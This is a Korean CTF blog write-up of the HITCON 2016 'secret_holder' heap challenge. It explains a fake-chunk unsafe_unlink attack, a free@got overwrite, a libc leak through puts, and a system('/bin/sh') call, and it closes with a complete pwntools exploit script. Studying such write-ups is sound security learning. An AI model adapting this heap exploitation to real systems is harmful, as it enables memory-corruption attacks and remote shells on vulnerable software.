ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HITCON 2016 secret_holder
    CTF 2016. 11. 23. 12:52

    3일동안 삽질해서 풀었다. 진짜 엄청 고생했다. 해찬이와 힙을 같이 공부하고 풀어봤는데 이걸 풀면서 unsafe_unlink에 대해 이해하게됬다.


    릭벡터를 못찾아서 하루동안 삽질했는데 간단하게 renew 로 릭이 됬었다 하하... 


    GOT 덮으려고 unsafe_unlink를 1일 동안 삽질했다. 


    글고 아침에 일어나서 쉘땄다.....




    keep 메뉴와,  wipe 메뉴, renew 메뉴가 존재한다.


    각각의 함수에대해서 볼 예정이다.




    keep 메뉴는 각영역에 할당되었는지 검증을 하고, 각 영역에 할당을 한다. 그리고 INUSE 를 나타내는 전역변수를 1로 초기화한다.









    wipe 함수는 각각의 청크를 free 해주는 역할밖에 안한다. 그리고 inuse를 0으로 초기화해준다.






    renew 메뉴는 각 청크를 입력받는다. 새롭게 데이터를 작성할때 쓰는 메뉴이다.


    이것들을 전부 이용해서 쉘을 따면된다 ㅎㅎ




    1. fake chunk를 두기위해 3번의 huge_chunk를 이용한다. 


    keep(1,"A"*8)

    keep(2,"B"*8)

    keep(3,"C"*8)


    wipe(1)

    wipe(2)

    wipe(3)



    keep(3,"A"*8)






    힙 꼭대기에 3번 메뉴로 작성이된다. malloc ptr을 잘 조절해서 처음부분에 3번 메뉴가 작성되게 만든다.


    여기서 핵심은 huge chunk가 할당될땐 사이즈가 엄청커서 힙에 할당되지않는다.  하지만 mmap flag를 다룰수있게되는데, huge chunk가 한번 할당되고, free 되고 다시 할당해주게되면 mmap flag 뭐시기해서 힙에 할당되게된다.

    #define M_MMAP_THRESHOLD -3 << 요놈이 플래그


    wipe(1)


    keep(1,"B"*8)

    keep(2,"C"*8)




    두개의 청크를 할당한다.


    그럼 0x31 을 가진부분이 HUGE_CHUNK를 가지게된다. 그렇게 되면 우리는 이제부터 fake chunk를 만들어 줄 수 있다.


    payload = p64(0x0)

    payload += p64(0x21)

    payload += p64(0x6020a8 - 24)

    payload += p64(0x6020a8 - 16)


    payload += p64(0x20)

    payload += p64(0x90)

    payload += "A"*0x80


    payload += p64(0x90)

    payload += p64(0x91)

    payload += "B"*0x80


    payload += p64(0x90)

    payload += p64(0x21)


    renew(3,payload)

    wipe(2)





    fake chunk의 구도는 아래와같다.


    1. fd와 bk의 검증을 피하기위해 해당 청크의 포인터인 0x6020a8 ( huge chunk ) 주소를 넣는다.

    2. 이전 청크가 free 되어보이게끔 size의  prev_inuse 를 0으로 만들고 데이터를 채워준다.

    3. 청크 갯수를 맞추기위해 아무거나 넣어준다.

    4. renew 메뉴를 통해 위에 작성한것들을 힙에 써준다.

    5. 두번째 청크를 free 함으로써 unlink 매크로를 호출하게 한다.





    payload = p64(0x602018)

    payload += p64(0)*2

    payload += p64(0x602018-16) #free@got - 16

    renew(3,payload)



    이제 free@got 를 덮기위한 준비가 끝났다.


    이제 renew 메뉴를 통해서 덮어주기만 하면된다.





    payload = p64(0)*2

    payload += p64(0x4006c0) # puts@plt

    renew(3,payload)




     free@got 가 제대로 덮힌것을 확인할 수 있다.


    이어서 계속 renew 를 해주면 renew 해줄떄마다 입력하는값으로 free@got를 덮을 수 있다.


    이제는 libc 릭만 하면되는데, libc 릭에서 매우 고생을 했다.


    하지만 시나리오를 하나 만들었는데, 아래와 같다.




    잘 보면 첫번째 청크에 unsorted bin으로 인해 main_arena+88 이 저장되어있다. 이를 이용한다.



    1. free@got를 puts@plt로 바꾸어 wipe에서 free(small_chunk)를 puts(small_chunk)로 만든다. 

    2. renew 메뉴를 통해 1번청크에서 널바이트를 없애기위해 임의의 값으로 16바이트를 덮는다.

    3. wipe 메뉴로 small chunk를 선택하면 puts(small_chunk)가 호출되어 libc가 릭이된다.





    이렇게 libc가 릭이되면 offset 계산을 통해서 하면되는데, 이상하게도 oneshot 가젯으론 쉘이 따이지않았다.


    하지만, 우린 임의의 값으로 16바이트를 덮는다 했는데, 거기에 /bin/sh; + "A"*8 을 준다면 16바이트를 채움과 동시에 ???(small_chunk) 이기때문에 인자로 줄 수 있다.




    oneshot 가젯 대신해서,  _libc_system으로 덮어 system(small_chunk)가 되게하고, small_chunk는 위에서 말했듯이 /bin/sh; + "A"*8로 덮어주면 쉘이 따인다.


    아래는 익스플로잇 코드이다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    from pwn import *
     
    = remote("10.211.55.3",9904)
     
    #40
    #4000
    #400000
     
    def keep(num,data):
        print p.recvuntil("3. Renew secret")
        p.sendline("1")
        print p.recvuntil("3. Huge secret")
        p.sendline(str(num))
        print p.recvuntil("Tell me your secret:")
        p.sendline(data)
     
    def wipe(num):
        print p.recvuntil("3. Renew secret")
        p.sendline("2")
        print p.recvuntil("3. Huge secret")
        p.sendline(str(num))
     
    def renew(num,data):
        print p.recvuntil("3. Renew secret")
        p.sendline("3")
        print p.recvuntil("3. Huge secret")
        p.sendline(str(num))
        print p.recvuntil("Tell me your secret:")
        p.send(data)
     
    raw_input()
     
    keep(1,"A"*8)
    keep(2,"B"*8)
    keep(3,"C"*8)
     
    wipe(1)
    wipe(2)
    wipe(3)
     
     
    keep(3,"A"*8)
     
    wipe(1)
     
    keep(1,"B"*8)
    keep(2,"C"*8)
     
    payload = p64(0x0)
    payload += p64(0x21)
    payload += p64(0x6020a8 - 24)
    payload += p64(0x6020a8 - 16)
     
    payload += p64(0x20)
    payload += p64(0x90)
    payload += "A"*0x80
     
    payload += p64(0x90)
    payload += p64(0x91)
    payload += "B"*0x80
     
    payload += p64(0x90)
    payload += p64(0x21)
     
    renew(3,payload)
    wipe(2)
     
    #to overwrite address 
    payload = p64(0x602018)
    payload += p64(0)*2
    payload += p64(0x602018-16#free@got
    renew(3,payload)
     
    #overwrite got
    payload = p64(0)*2
    payload += p64(0x4006c0# setvbuf overwrite puts@plt
    renew(3,payload)
     
     
    dummy = "/bin/sh;"
    dummy += "A"*8
    renew(1,dummy)
     
    wipe(1)
     
    print p.recvuntil(dummy)
    libc_leak = u64(p.recv(8)[0:8].ljust(8,"\x00"))
    image_base = libc_leak - 0x3be7b8
    libc_system = image_base + 0x46590
     
    print "LIBC LEAK: " + hex(libc_leak)
    print "oneshot: " + hex(libc_system)
     
    renew(3,p64(0x0)*2 + p64(libc_system))
     
    wipe(1)
    p.interactive()
    cs


    'CTF' 카테고리의 다른 글

    [Belluminar 2016] remuheap  (2) 2016.11.27
    HITCON 2014 stkof  (0) 2016.11.26
    [HSOC] Find Me!! (Reversing 400pt)  (0) 2016.11.06
    [HSOC] ConsoleRPG  (0) 2016.11.06
    [0ctf] freenote  (0) 2016.11.04

    댓글

Designed by Tistory.